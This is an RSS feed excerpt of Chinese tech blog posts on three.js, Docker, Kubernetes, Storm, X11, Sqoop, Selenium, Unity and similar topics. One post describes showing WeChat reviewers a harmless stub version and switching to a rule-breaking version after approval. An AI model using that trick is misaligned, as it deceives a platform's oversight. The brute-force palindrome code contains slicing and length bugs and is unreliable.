    <item>
      <title>three.js 07-01 之 Sprite 粒子系统</title>
      <link>https://bchobby.github.io/posts/92bcb67033337d45a5149ccfda3ad508/</link>
      <pubDate>Thu, 18 Jan 2018 12:44:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92bcb67033337d45a5149ccfda3ad508/</guid>
      <description>前面很长一段时间，我们讨论了 three.js 中最重要的一些概念和相关的 API。今天开始，我们来探索一下 three.js 中一直还未提到的“粒子（particle）”概念。使用粒子可以很容易地创建出很多细小的物体，可以用来模拟雨滴、雪花和火焰等。你也可以将某个单一几何体（例如圆环）渲染成一组粒子，并分别对它们进行控制。&#xA;在旧版的 three.js 中可能会有 ParticleSystem（粒子系统） 、 ParticleMaterial（粒子材质）、ParticleCanvasMaterial（在画布上为粒子造型）等概念。但是在新版 three.js 中，没有那么多概念了，已经简化成了 Points（粒子系统）及 PointsMaterial（粒子材质）、Sprite（精灵）及 SpriteMaterial（精灵材质）两种粒子类型了（扩展插件实现除外）。因此，接下来的介绍将不再针对旧版的粒子系统进行讲解，感兴趣的读者可以自行研究。&#xA;我们先来看看一个超简单的粒子系统示例，核心代码如下：&#xA;/** 创建 10x10 个粒子 */ function createParticles() { var material = new THREE.SpriteMaterial(); var group = new THREE.Group(); for (var x = -5; x &amp;lt; 5; x++) { for (var y = -5; y &amp;lt; 5; y++) { particle = new THREE.Sprite(material); particle.position.set(x * 10, y * 10, 0); group.add(particle); } } group.</description>
    </item>
    <item>
      <title>kubernetes集群卸载后docker程序无法启动问题：docker.service启动失败：Unit not found</title>
      <link>https://bchobby.github.io/posts/394ece31757447749235f98f497d13d5/</link>
      <pubDate>Wed, 17 Jan 2018 23:03:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/394ece31757447749235f98f497d13d5/</guid>
      <description> kubernetes集群卸载后docker程序无法启动问题：docker.service启动失败：Unit not found 最近在搞k8s集群，现在有外网的环境上安装了一个k8s测试集群。现在要把外网转换为内网安装生产集群。&#xA;发现把k8s相关组件卸载完之后，发现docker还是无法启动。发现报如下错误：&#xA;# Failed to start docker.service: Unit not found 安装k8s之后docker的启动需要有些依赖的服务启动之后才能启动，但是我把所有相关的服务都删除了，并且添加的依赖也在docke.service中删除了。但是docker还是无法启动。我甚至把docker都卸载了但是还是无法解决。&#xA;后来在网上查找相应的错误，找到了一篇和我的错误极为相似的问题，也是卸载k8s集群后无法启动docker。&#xA;经过检查，/etc/systemd/system/flanneld.service依然存在，并且存在/etc/systemd/system/docker.service.requires目录，在该目录下包含了软连接flanneld.service，该软链接指向了真正的flanneld.service，从而实现了两个服务的启动顺序的关联。&#xA;解决办法：&#xA;删除 /etc/systemd/system/docker.service.requires/flanneld.service，使用systemctl daemon-reload重新加载服务配置文件，最后systemctl start docker.service，发现docker启动成功了。&#xA;参考链接：&#xA;docker.service启动失败：Unit not found的原因及解决办法 </description>
    </item>
    <item>
      <title>解决storm1.1.1集群找不到nimbus异常</title>
      <link>https://bchobby.github.io/posts/26281d237bfa98a975a21f002825b071/</link>
      <pubDate>Wed, 17 Jan 2018 16:32:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26281d237bfa98a975a21f002825b071/</guid>
      <description>各应用程序及版本&#xA;storm1.1.1zookeeper3.4.10&#xA;拓朴结构&#xA;nimbus、ui：CentOS65Appsupervisor：CentOS65M1、CentOS65M2、CentOS65M3&#xA;配置文件&#xA;zoo.cfg，zookeeper仅安装在三台supervisor服务器 server.6=CentOS65M1:2888:3888 server.7=CentOS65M2:2888:3888 server.8=CentOS65M3:2888:3888 storm.yaml，在四台服务器配置一样 storm.zookeeper.servers: - &#34;CentOS65M1&#34; - &#34;CentOS65M2&#34; - &#34;CentOS65M3&#34; nimbus.seeds: [&#34;CentOS65App&#34;] storm.zookeeper.port: 2181 storm.local.dir: &#34;/app/data&#34; ui.port: 9099 supervisor.slots.ports: - 6700 - 6701 - 6702 - 6703 按序启动zookeeper，nimbus，ui，supervisor storm ui可以在浏览器正常访问&#xA;http://centos65app:9099/index.html&#xA;不部署topology，集群一切正常；一旦部署了topology，supervisor就抛异常了。&#xA;./bin/storm jar /opt/storm_jars/storm-starter-1.1.1.jar org.apache.storm.starter.WordCountTopology WordCountTopology 过一两分钟，从storm ui就发现Supervisors由3变为0。逐个进入三台supervisor服务器，jps后，发现确实原来的supervisor已经不存在了。在supervisor服务器的[storm_home]/logs/supervisor.log文件发现有如下异常： 2018-01-17 11:18:45.329 o.a.s.d.s.Slot main [WARN] SLOT CentOS65M1:6700 Starting in state EMPTY - assignment null 2018-01-17 11:18:45.330 o.a.s.d.s.Slot main [WARN] SLOT CentOS65M1:6701 Starting in state EMPTY - assignment null 2018-01-17 11:18:45.</description>
    </item>
    <item>
      <title>Linux在远程X Server上显示图形界面</title>
      <link>https://bchobby.github.io/posts/646e1c3ec1f235081d14830eda7f2d43/</link>
      <pubDate>Tue, 16 Jan 2018 13:05:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/646e1c3ec1f235081d14830eda7f2d43/</guid>
      <description>背景&#xA;大多数时候我们不希望在服务器上安装图形界面，但有时候有些程序需要图形界面，比如安装Oracle的时候。此时，可以配置让Linux使用远程的X Server进行图形界面显示。&#xA;首先要明确的是Linux X Window System的基本原理，X是一个开放的协议规范，当前版本为11，俗称X11。X Window System由客户端和服务端组成，服务端X Server负责图形显示，而客户端库X Client根据系统设置的DISPLAY环境变量，将图形显示请求发送给相应的X Server。&#xA;因此，我们只需要在远端开启一个X Server，并在目标机器上相应的设置DISPLAY变量，即可完成图形的远程显示。&#xA;“真理体验”版&#xA;环境：远程无图形机器A（IP 192.168.9.135，OS CentOS 6.2），本地有图形机器B（IP 192.168.1.135，OS CentOS 6.2），子网192.168.0.0&#xA;X Server是Gnome等桌面环境的基础，一个桌面环境通常包含了XDM（X Display Manager，通常的图形化用户登录界面就属于XDM）、窗口管理器（X Server显示的图形是没有“窗口”边框的，通过替换窗口管理器可以实现不同的视觉效果，比如实现3D效果的Compiz）等组件。&#xA;进行图形显示并不需要桌面环境，只要有X Server即可。&#xA;现在要在B机器上开启一个X Server，然后配置A机器的DISPLAY环境变量指向B上面的X Server，在A上启动一个图形程序，图形应该在B上面进行显示。&#xA;Linux提供了一个startx脚本来启动X Server，startx脚本通过调用xinit来完成此工作。xinit完成两个工作，首先在后台启动一个X Server，然后根据配置启动一系列客户端程序连接到X Server，这些客户端程序只有最后一个可以并且必须在前台运行，当这个前台的客户端程序退出时X Server将被关闭。&#xA;B机器上有桌面环境，查看进程可以看到如下进程在运行：&#xA;/usr/bin/Xorg :0 -nr -verbose -audit 4 -auth /var/run/gdm/auth-for-gdm-Ikd3i7/database -nolisten tcp vt1&#xA;这表示在display 0上运行着一个X Server，这里的X Server是Xorg。出于安全考虑，这个X Server不监听TCP连接（-nolisten tcp），所以无法通过网络连接上这个X Server。X Server可以通过TCP和域套接字进行连接，后面讲述DISPLAY变量时会详细描述。&#xA;我们可以通过startx或直接使用xinit来手动启动一个X Server，startx的选项与xinit相同，选项直接传递给xinit。xinit选项分为两个部分，以符号 “--”为界，前面是客户端选项，后面是X Server选项。&#xA;startx [ [ client ] options ... ] [ -- [ server ] [ display ] options .</description>
    </item>
    <item>
      <title>微信小程序审核不通过的解决方法</title>
      <link>https://bchobby.github.io/posts/5611e35ca3a2e72759358a5606ceb2dd/</link>
      <pubDate>Tue, 16 Jan 2018 08:59:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5611e35ca3a2e72759358a5606ceb2dd/</guid>
      <description>前言 近来，微信小程序一直活跃在开发者的眼球中。很多开发者都投身微信小程序的开发中，而这些开发者，总是需要面对最后一道难题：如何以一种优雅的姿势来通过微信官方的审核。本文基于几天前提交审核的一次总结，写得有不当的地方，请各位大佬指正。&#xA;问题描述 先上一下微信小程序平台常见拒绝情形的说明文件。由于我提交的小程序中包含了“分享群”的按钮，所以审核未通过，未通过的原因如下：&#xA;3.2.1 小程序的页面内容中，存在诱导类行为，包括但不限于诱导分享、诱导添加、诱导关注公众号、诱导下载等，要求用户分享、添加、关注或下载后才可操作的程序，含有明示或暗示用户分享的文案、图片、按钮、浮层、弹窗等的小程序，通过利益诱惑诱导用户分享、传播的小程序，用夸张言语来胁迫、引诱用户分享的小程序，强制或诱导用户添加小程序的，都将会被拒绝； 辛辛苦苦开发的小程序，还未曾面世就要胎死腹中了吗？简直不能忍！&#xA;解决方案 曾经听过一句话：“既然我感动不了你那么我就选择放过我自己。”那么，既然我们改变不了官方规范的约束，那就避免和他的冲突。所以解决思路大致如下：&#xA;第一步，在小程序的入口文件添加一个判断机制，控制小程序的版本。第二步，编写一个简易的待提交审核版本。第三步，等待审核通过之后，再通过第一步设置的判断机制切换回正式版本。 接下来就具体说说是怎么操作的。&#xA;1、首先，我创建了一个QuickStart项目，如下图：&#xA;2、接下来就是在入口文件也就是index.wxml中添加一个判断机制，来控制小程序的版本。具体代码如下：&#xA;&amp;lt;!--index.wxml--&amp;gt; &amp;lt;view class=&#34;&#34; wx:if=&#34;{{ version == &#39;0&#39;}}&#34; wx:key&amp;gt; &amp;lt;!--此处为小程序第二入口，放的是能正常通过审核的简单代码--&amp;gt; &amp;lt;text&amp;gt;hello&amp;lt;/text&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;view class=&#34;&#34; wx:else&amp;gt; &amp;lt;!--此处为小程序第一入口，放的是正式上线后的代码，也就是提交后通不过审核的代码--&amp;gt; &amp;lt;view class=&#34;container&#34;&amp;gt; &amp;lt;view class=&#34;userinfo&#34;&amp;gt; &amp;lt;button wx:if=&#34;{{!hasUserInfo &amp;amp;&amp;amp; canIUse}}&#34; open-type=&#34;getUserInfo&#34; bindgetuserinfo=&#34;getUserInfo&#34;&amp;gt; 获取头像昵称 &amp;lt;/button&amp;gt; &amp;lt;block wx:else&amp;gt; &amp;lt;image bindtap=&#34;bindViewTap&#34; class=&#34;userinfo-avatar&#34; src=&#34;{{userInfo.avatarUrl}}&#34; background-size=&#34;cover&#34;&amp;gt;&amp;lt;/image&amp;gt; &amp;lt;text class=&#34;userinfo-nickname&#34;&amp;gt;{{userInfo.nickName}}&amp;lt;/text&amp;gt; &amp;lt;/block&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;view class=&#34;usermotto&#34;&amp;gt; &amp;lt;text class=&#34;user-motto&#34;&amp;gt;{{motto}}&amp;lt;/text&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; 接着就是在index.js中设置version的值，具体代码如下：&#xA;data: { motto: &#39;Hello World&#39;, userInfo: {}, hasUserInfo: false, canIUse: wx.</description>
    </item>
    <item>
      <title>sqoop的基本语法详解及可能遇到的错误</title>
      <link>https://bchobby.github.io/posts/5bf8a4ee3e0e6cd50524829a6221194e/</link>
      <pubDate>Mon, 15 Jan 2018 21:53:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bf8a4ee3e0e6cd50524829a6221194e/</guid>
      <description>0 sqoop介绍 Apache Sqoop是专为Apache Hadoop和结构化数据存储如关系数据库之间的数据转换工具的有效工具。你可以使用Sqoop从外部结构化数据存储的数据导入到Hadoop分布式文件系统或相关系统如Hive和HBase。相反，Sqoop可以用来从Hadoop的数据提取和导出到外部结构化数据存储如关系数据库和企业数据仓库。&#xA;Sqoop专为大数据批量传输设计，能够分割数据集并创建Hadoop任务来处理每个区块。&#xA;sqoop的安装和下载可参考该地址&#xA;1 使用场景 Sqoop底层其实就是MapReduce，那使用Sqoop必然会存在数据延迟的问题，我个人建议哈，在数据量不是很大或者实时性要求不高的情况下，使用Sqoop还是很方便的哈，直接通过配置就可以各种数据的导入导出。如果大家学习过Spark应该知道其实Spark SQL用起来也是很方便的，给我们提供了外部数据源，方便我们对各种数据类型的读写哈。 所以怎么用看大家的自己选择，没有最好的，只有最适合自己的~。&#xA;官网&#xA;使用手册&#xA;2 查看帮助命令 查看命令帮助（sqoop help&#xA;）&#xA;[hadoop@zhangyu lib]$ sqoop help usage: sqoop COMMAND [ARGS] Available commands: codegen Generate code to interact with database records create-hive-table Import a table definition into Hive eval Evaluate a SQL statement and display the results export Export an HDFS directory to a database table help List available commands import Import a table from a database to HDFS import-all-tables Import tables from a database to HDFS import-mainframe Import datasets from a mainframe server to HDFS job Work with saved jobs list-databases List available databases on a server list-tables List available tables in a database merge Merge results of incremental imports metastore Run a standalone Sqoop metastore version Display version information See &#39;sqoop help COMMAND&#39; for information on a specific command.</description>
    </item>
    <item>
      <title>Helm使用</title>
      <link>https://bchobby.github.io/posts/be56edc08ffc1fe0df8a0e24ef750630/</link>
      <pubDate>Mon, 15 Jan 2018 17:42:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be56edc08ffc1fe0df8a0e24ef750630/</guid>
      <description>Helm 基本概念 Helm 可以理解为 Kubernetes 的包管理工具，可以方便地发现、共享和使用为Kubernetes构建的应用，它包含几个基本概念&#xA;Chart：一个 Helm 包，其中包含了运行一个应用所需要的镜像、依赖和资源定义等，还可能包含 Kubernetes 集群中的服务定义，类似 Homebrew 中的 formula，APT 的 dpkg 或者 Yum 的 rpm 文件，Release: 在 Kubernetes 集群上运行的 Chart 的一个实例。在同一个集群上，一个 Chart 可以安装很多次。每次安装都会创建一个新的 release。例如一个 MySQL Chart，如果想在服务器上运行两个数据库，就可以把这个 Chart 安装两次。每次安装都会生成自己的 Release，会有自己的 Release 名称。Repository：用于发布和存储 Chart 的仓库。 Helm 组件 Helm 采用客户端/服务器架构，有如下组件组成: Helm CLI 是 Helm 客户端，可以在本地执行； Tiller 是服务器端组件，在 Kubernetes 群集上运行，并管理 Kubernetes 应用程序的生命周期 ； Repository 是 Chart 仓库，Helm客户端通过HTTP协议来访问仓库中Chart的索引文件和压缩包。&#xA;安装helm 客户端 参考 https://github.com/kubernetes/helm/blob/master/docs/install.md?spm=5176.100239.blogcont159601.25.ee1b35eCYPzhZ&amp;amp;file=install.md 下载安装helm&#xA;tar -zxvf helm-v2.8.0-rc.1-linux-amd64.tgz mv linux-amd64/helm /usr/local/bin/helm helm help 安装helm服务端 因为网络原因，指定helm的repo为阿里云的https://kubernetes.</description>
    </item>
    <item>
      <title>ArcMap 发布服务时提示：ArcGIS Desktop 遇到严重的程序错误，无法继续</title>
      <link>https://bchobby.github.io/posts/c44514d2a96bc6e29c296838f2ff093a/</link>
      <pubDate>Mon, 15 Jan 2018 17:21:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c44514d2a96bc6e29c296838f2ff093a/</guid>
      <description>在arcmap 根目录下有一个文件：Normal.mxt&#xA;我的地址是：C:\Users\Administrator\AppData\Roaming\ESRI\Desktop10.1\ArcMap\Templates&#xA;将文件重命名为：OldNormal.mxt&#xA;重新运行arcmap，问题解决</description>
    </item>
    <item>
      <title>Ubuntu 无法访问 win7/8/10分区</title>
      <link>https://bchobby.github.io/posts/bb6c9f1d7a083f89cc60987092c381b8/</link>
      <pubDate>Sun, 14 Jan 2018 22:33:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb6c9f1d7a083f89cc60987092c381b8/</guid>
      <description>操作系统：win 7/8/10 中文版 + Ubuntu 16.40 双系统运行&#xA;问题描述 在Ubuntu系统下无法打开Win分区，提示以下信息&#xA;问题解决思路 win8系统定义了一个快速启动的功能。当此功能启用的时候，win8系统并不是真实完全地关闭计算机，而是进入一个“休眠关闭”的状态，能够在启动时，把上次关机时的备份状态迅速恢复，从而达到快速启动的目的。&#xA;所以，在此功能启用的情况下，通过ubuntu系统访问win8系统分区时，提示非完全关闭分区的情况下是无法访问的（Pleaseresumeand shutdown Windows fully (no hibernation or fastrestarting)）&#xA;问题解决步骤 步骤一，打开win8控制面板，点击“电源选项”按钮&#xA;步骤二，选择左侧面板中的电源按钮工作状态选项；&#xA;步骤三，点击“更改当前未启用的功能选项”&#xA;步骤四，关闭“快速启动”功能</description>
    </item>
    <item>
      <title>伺服电机原点位置在运行一段时间后发生偏移</title>
      <link>https://bchobby.github.io/posts/5adbcce2b2e741a5100b8373461a0533/</link>
      <pubDate>Sun, 14 Jan 2018 10:51:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5adbcce2b2e741a5100b8373461a0533/</guid>
      <description>发送1000个脉冲，驱动器只接收到了998个，基本是干扰问题 ，将驱动器与机壳隔离下监控接收的脉冲数，是否依然丢步。&#xA;我之前给一家客户做设备 大概是13年的时候 将近200台设备 一台接近40万 全部丢脉冲 我去了2天才找到原因 独家秘方 ：提示下找干扰源 处理干扰源&#xA;多从马达分辨率和电子齿轮相关的参数。加减速等去检查。信号线要做屏蔽外理，机柜单独接地试下。</description>
    </item>
    <item>
      <title>Docker 入门笔记 9  - Namespace 简介（下）</title>
      <link>https://bchobby.github.io/posts/29cca79cb2663caa34fa58c501273249/</link>
      <pubDate>Fri, 12 Jan 2018 18:47:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29cca79cb2663caa34fa58c501273249/</guid>
      <description>User Namespace 用户命名空间（ CLONE_NEWUSER，在Linux 2.6.23中启动，并在Linux 3.8中完成 ）隔离了安全相关的标识符（identifiers）和属性（attributes），包括用户ID、用户组ID、root目录、key（指密钥）以及特殊权限。。&#xA;说得通俗一点，一个普通用户的进程通过clone()创建的新进程在新user namespace中可以拥有不同的用户和用户组。这里最有趣的情况是，一个进程可以在用户名空间之外拥有普通的非特权用户ID，同时在名字空间内具有0的用户ID。这意味着该进程对用户命名空间内的操作具有完全的root权限，但是对于命名空间之外的操作没有特权。&#xA;User namespace是目前的六个namespace中最后一个支持的，并且直到Linux内核3.8版本的时候还未完全实现（还有部分文件系统不支持）。因为user namespace实际上并不算完全成熟，很多发行版担心安全问题，在编译内核的时候并未开启USER_NS。实际上目前Docker也还不支持user namespace，但是预留了相应接口，相信在不久后就会支持这一特性。所以在进行接下来的代码实验时，请确保你系统的Linux内核版本高于3.8并且内核编译时开启了USER_NS 。&#xA;从Linux 3.8开始，未经授权的进程可以创建用户名空间，这为应用程序开辟了一系列有趣的新可能性：因为另外一个没有特权的进程可以在用户名空间内保存根特权，所以非特权应用程序可以访问之前只属于root用户的功能。 Linux 如何处理权限 进一步讨论User Namespace之前，我们先简单了解一下Linux 的权限处理&#xA;文件权限 谈到权限问题，首先想到的是文件的权限。Linux一个文件的信息是保存在文件的“inode”数据结构中的。inode里面的第一组数据项叫模(mode)&#xA;file mode +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |o o 0 0 0 0|0 0 0|0 0 0|0 0 0|0 0 0| | | | | | | | | | |-- rwx for other user | | | |-- rwx for group | | |-- rwx for user | |--suid, sgid, sticky bit |--type:reguar(-),dir(d),char(c),block(b),pipe(p),link(l),socket(s) 通常在UNIX下可以用ls -l 命令来看到文件权限。 用ls命令所得到的表示法的格式是类似这样的：</description>
    </item>
    <item>
      <title>myslq删除指定行后的数据</title>
      <link>https://bchobby.github.io/posts/316ce453a397e094d32f14e7448beece/</link>
      <pubDate>Wed, 10 Jan 2018 12:02:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/316ce453a397e094d32f14e7448beece/</guid>
      <description>delete from table where id&amp;gt;10; 我这里是id号大于10 ，大家可以扩展到大于10或小于100等，自己发挥想象吧！</description>
    </item>
    <item>
      <title>38、Selenium 之 WebDriverWait</title>
      <link>https://bchobby.github.io/posts/76be09aff3f24f2206718d30977c5b4b/</link>
      <pubDate>Mon, 08 Jan 2018 16:27:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76be09aff3f24f2206718d30977c5b4b/</guid>
      <description>之前有篇文章介绍过Selenium的等待知识，可惜当时水平有限，只介绍了sleep和implicitly_wait的用法。今天还是补充一下WebDriverWait的知识吧。&#xA;一、webdrivewait 示例代码&#xA;from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By import time driver = webdriver.Chrome() driver.get(&#34;http://www.baidu.com/&#34;) locator = (By.ID,&#34;kw&#34;) try: ele = WebDriverWait(driver,10).until(EC.presence_of_element_located(locator)) driver.find_element_by_id(&#34;kw&#34;).send_keys(&#39;abc&#39;) time.sleep(1) #为了看效果 except: print(&#34;ele can&#39;t find&#34;) finally: driver.quit()接下来一点点分析下这个语句 WebDriverWait(driver,10).until(EC.presence_of_element_located(locator)) （1）WebDriverWait 方法&#xA;driver: 传入WebDriver实例，即我们上例中的driver timeout: 超时时间，等待的最长时间（同时要考虑隐性等待时间） poll_frequency: 调用until或until_not中的方法的间隔时间，默认是0.5秒 ignored_exceptions: 忽略的异常，如果在调用until或until_not的过程中抛出这个元组中的异常， 则不中断代码，继续等待，如果抛出的是这个元组外的异常，则中断代码，抛出异常。默认只有NoSuchElementException。 （2）WebDriverWait 方法后面有两种等待方式&#xA;until&#xA;method: 在等待期间，每隔一段时间（__init__中的poll_frequency）调用这个传入的方法，直到返回值不是False message: 如果超时，抛出TimeoutException，将message传入异常 until_not 与until相反，until是当某元素出现或什么条件成立则继续执行， until_not是当某元素消失或什么条件不成立则继续执行，参数也相同，不再赘述。 看了以上内容基本上很清楚了，调用方法如下：&#xA;WebDriverWait(driver, 超时时长, 调用频率, 忽略异常).</description>
    </item>
    <item>
      <title>Error: No PostCSS Config found in... 报错 踩坑记</title>
      <link>https://bchobby.github.io/posts/d235bb60ea57ee13ca8812834c494bf6/</link>
      <pubDate>Mon, 08 Jan 2018 16:16:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d235bb60ea57ee13ca8812834c494bf6/</guid>
      <description>项目在本地运行不报错，上传到 GitHub 之后，再 clone 到本地，执行：&#xA;npm install 安装完成之后再执行：&#xA;npm run dev 这时报错 Error: No PostCSS Config found in... 本以为是 GitHub 上传的问题，后开又试了两回，发现问题依然存在，于是就开始网上寻找办法。&#xA;解决方案 在项目根目录新建postcss.config.js文件，并对postcss进行配置：&#xA;module.exports = { plugins: { &#39;autoprefixer&#39;: {browsers: &#39;last 5 version&#39;} } } 好了 试试&#xA;npm run dev 我靠 果然好了 项目在本地运行时本来不报错的，但是为什么上传到 GitHub 之后，再 clone 下来，再运行就得单独写一个 postcss.config.js 的文件并配置一下呢？&#xA;在npm上查到的postcss配置在webpack.config.js，&#xA;postcss.config.js是针对webpack3.0做的特殊处理&#xA;转载于:https://www.cnblogs.com/sichaoyun/p/8243273.html</description>
    </item>
    <item>
      <title>unity 制作拼图游戏</title>
      <link>https://bchobby.github.io/posts/06912016073be1f06e087ef8125241e3/</link>
      <pubDate>Mon, 08 Jan 2018 10:23:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06912016073be1f06e087ef8125241e3/</guid>
      <description>Unity中material.mainTextureOffset和material.mainTextureScale的作用和用法&#xA;mainTextureOffset和mainTextureScale是Material类中的两个方法&#xA;mainTextureOffset指的是主纹理偏移&#xA;mainTextureScale指的是主纹理缩放&#xA;默认一个material的mainTextureOffset是0,0，mainTextureScale是1,1&#xA;表示原图正常显示，没有缩放，如下图&#xA;当我们改变mainTextureScale的值时纹理只会显示一部分，其范围是[0,1];&#xA;如我们将mainTextureScale.x设置为0.5时，可以看到纹理只显示u方向的50%&#xA;同理，我们将mainTextureScale.y设置为0.5时，可以看到纹理只显示v方向的50%&#xA;mainTextureOffset属性表示纹理的起始偏移，为0时没有偏移，mainTextureOffset.x指u方向的偏移量，mainTextureOffset.y指v方向的偏移量。其范围也是[0,1]。这里要注意：偏移的起点在图像的左下角&#xA;我们设置mainTextureOffset.x为0.2，如下图：&#xA;可以看到纹理向左偏移了20%&#xA;我们设置mainTextureOffset.y为0.2，如下图：&#xA;可以看到纹理向下偏移了20%&#xA;应用这两个属性，我们可以只截取图片的一部分来显示，如：&#xA;mainTextureOffset = new Vector2(0.5, 0.5)；&#xA;mainTextureScale= new Vector2(0.5, 0.5)；&#xA;将只显示原图的右上角1/4区域，如下图：&#xA;有了对以上两个属性的了解，我们可以来制作一个简单的拼图游戏&#xA;思路：&#xA;1.将一张图片切分为raw*volumn的raw*volumn张碎片&#xA;2.每一张碎片只显示图片的一部分&#xA;3.将它们按一个顺序和位置排列，使其看起来像一张完整的图片&#xA;玩法：&#xA;点击Start按钮后，开始游戏。选中碎片并将其拖放在正确的位置上，如放置正确则不可再被拖动。直到所有碎片放置正确。&#xA;点击Next Texture按钮可切换背景和碎片显示的图片&#xA;制作流程：&#xA;新建一个游戏场景Test,设置摄像机属性如下(采用正交摄像机(2D)将其标签设置MainCamera)：&#xA;创建两个plane，其中一个改名为Background并为其选择一个材质；另一个plane也选择一个材质要和前一个不同，选择shader为Unlit/Transparent (自发光)，将其设为不可见。创建一个空对象，起名为Body，如下图：&#xA;创建一个c#脚本main.cs,绑定在Body对象下。Inspector设置如下：&#xA;main.cs脚本如下：&#xA;using UnityEngine;&#xA;using System.Collections;&#xA;public class main : MonoBehaviour {&#xA;public GameObject _plane; //用来实例碎片的对象&#xA;public GameObject _planeParent; //碎片对象所要绑定的父节点&#xA;public GameObject _background; //显示暗色的背景图&#xA;public Texture2D[] _texAll; //用来更换的纹理&#xA;public Vector3[] _RandomPos; //开始时, 碎片随机分布的位置</description>
    </item>
    <item>
      <title>python最简单的爬取图片并保存本地指定路径！</title>
      <link>https://bchobby.github.io/posts/c81d9c959c45084a84eeb90394bd74d6/</link>
      <pubDate>Mon, 08 Jan 2018 09:35:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c81d9c959c45084a84eeb90394bd74d6/</guid>
      <description>刚学python不久，所以先记录一个爬取图片的方式，并保存本地指定路径下。当然不一定会是最简单的方式，就是习惯这么起标题。但，肯定是我使用起来感觉最简单的。 需要单独安装的第三方模块有三个：&#xA;pip install requests pip intsall BeautifulSoup4 pip install pillow 其它模块都是内建模块，可以直接使用。&#xA;具体代码如下：&#xA;import requests from bs4 import BeautifulSoup from PIL import Image import os from io import BytesIO import time url = &#34;http://www.yestone.com/gallery/1501754333627&#34; headers = {&#34;User-Agent&#34;: &#34;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36&#34;} r = requests.get(url, headers=headers) soup = BeautifulSoup(r.content, &#39;html.parser&#39;) items = soup.find_all(&#39;img&#39;, class_=&#39;img-responsive&#39;) folder_path = &#39;./photo&#39; if os.path.exists(folder_path) == False: os.makedirs(folder_path) for index, item in enumerate(items): if item: html = requests.</description>
    </item>
    <item>
      <title>基于模糊集的图像增强</title>
      <link>https://bchobby.github.io/posts/d2e89954abaa393ac141182527fb1ccc/</link>
      <pubDate>Sat, 06 Jan 2018 23:12:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2e89954abaa393ac141182527fb1ccc/</guid>
      <description> Github个人博客：https://joeyos.github.io&#xA;基于模糊集的图像增强主要有以下三个步骤：图像模糊特征提取、隶属函数值的修正和模糊域反变换。&#xA;x=imread(&#39;lena.jpg&#39;); x=rgb2gray(x); [M,N]=size(x); x1=double(x); % 基本参数 Fd=0.8; FD=-1*Fd; % Fe=128; Fe=128; Xmax=255; % 模糊特征平面 for i=1:M for j=1:N P(i,j)=(1+(Xmax-x1(i,j))/Fe)^FD; end end % 模糊增强 times=1; for k=1:times for i=1:M for j=1:N if P(i,j) &amp;lt;= 0.5000 P1(i,j)=2*P(i,j)^2; else P1(i,j)=1-2*(1-P(i,j))^2; end end end P=P1; end % 反模糊化 for i=1:M for j=1:N I(i,j)=Xmax-Fe*((1/P(i,j))^(1/Fd)-1); end end X=uint8(I); figure,imshow(x); figure,imshow(X); </description>
    </item>
    <item>
      <title>Longest Palindromic Substring 最长回文串 python实现</title>
      <link>https://bchobby.github.io/posts/85b392c07c8d789aa16072d8a8276b70/</link>
      <pubDate>Sat, 06 Jan 2018 16:35:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85b392c07c8d789aa16072d8a8276b70/</guid>
      <description>一、 题目：&#xA;输入字符串s,输出该字符串中包含的最长回文串。回文串，指的是正着看和倒着看都一样的字符串，例如’abdba’。&#xA;二、几种解法&#xA;1、 Brute-force解法&#xA;(1)、思路：&#xA;第一步，通过两层for循环得到输入字符串s的所有可能子串。&#xA;第二步，逐个判断子串是否为回文串。若当前子串为回文串且长度大于之前得到的回文串，更新当前最长回文串。&#xA;(2)、代码&#xA;&#39;&#39;&#39; Brute-force解法 &#39;&#39;&#39; class Solution1(object): def longestPalindrome(self, s): &#34;&#34;&#34; :type s: str :rtype: str &#34;&#34;&#34; lens=len(s) if lens&amp;lt;2: return s maxlen=0 start=0 for i in range(lens): for j in range(i+1,lens): begin=i end=j while begin&amp;lt;end: if s[begin]!=s[end]: break begin+=1 end-=1 if begin&amp;gt;=end and j-i&amp;gt;maxlen: maxlen=j-i+1 start=i if maxlen&amp;gt;0: return s[start:maxlen] return None (3)、复杂度分析:&#xA;时间复杂度：&#xA;得到字符串所有子串的时间复杂度为O(n^2),判断子串是否为回文串的时间复杂度为O(n),二者相乘得到暴力解法的时间复杂度为O(n^3).&#xA;空间复杂度:&#xA;该方法没有使用额外空间,空间复杂度为O(n)&#xA;2、 动态规划方法&#xA;(1)、思路：</description>
    </item>
    <item>
      <title>Dev GridControl详解（一）控件层次和数据绑定</title>
      <link>https://bchobby.github.io/posts/35a8905d90943ff984cefc0d27f46c05/</link>
      <pubDate>Sat, 06 Jan 2018 12:04:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35a8905d90943ff984cefc0d27f46c05/</guid>
